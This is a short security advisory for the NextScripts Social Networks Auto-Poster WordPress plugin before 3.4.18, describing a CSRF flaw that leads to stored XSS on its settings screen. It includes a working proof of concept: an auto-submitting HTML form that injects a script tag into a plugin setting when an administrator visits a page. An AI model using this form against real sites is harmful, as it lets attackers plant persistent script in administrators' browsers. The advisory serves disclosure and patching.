NextScripts: Social Networks Auto-Poster < 3.4.18 – CSRF to Stored XSS

Description

The NextScripts: Social Networks Auto-Poster plugin for WordPress is vulnerable to a Persistent XSS attack on the settings screen, due to a lack of sanitation of user input, and lack of Cross-Site Request Forgery token (nonce).

Proof of Concept

If a page with the following FORM in is visited by an administrative user, it will result in a a Persistent XSS attack being triggered. In FireFox, this results in an immediate execution of the XSS payload. In Chrome, the XSS payload will be executed next time the user browses to the settings screen for this plugin.

<form id="form" method="POST" action="http://localhost/wp-admin/options-general.php?page=NextScripts_SNAP.php">
        <input type="hidden" name="nxsMainFromElementAccts" value="wp[0][nName]=<script>alert(1)</script>&wp[0][apWPURL]=&wp[0][apWPUName]=1&wp[0][apWPPass]=1&wp[0][apDoWP]=1&wp[0][apWPMsgTFrmt]=&wp[0][apWPMsgFrmt]="/>
</form>
<script>
        document.getElementById("form").submit();
</script>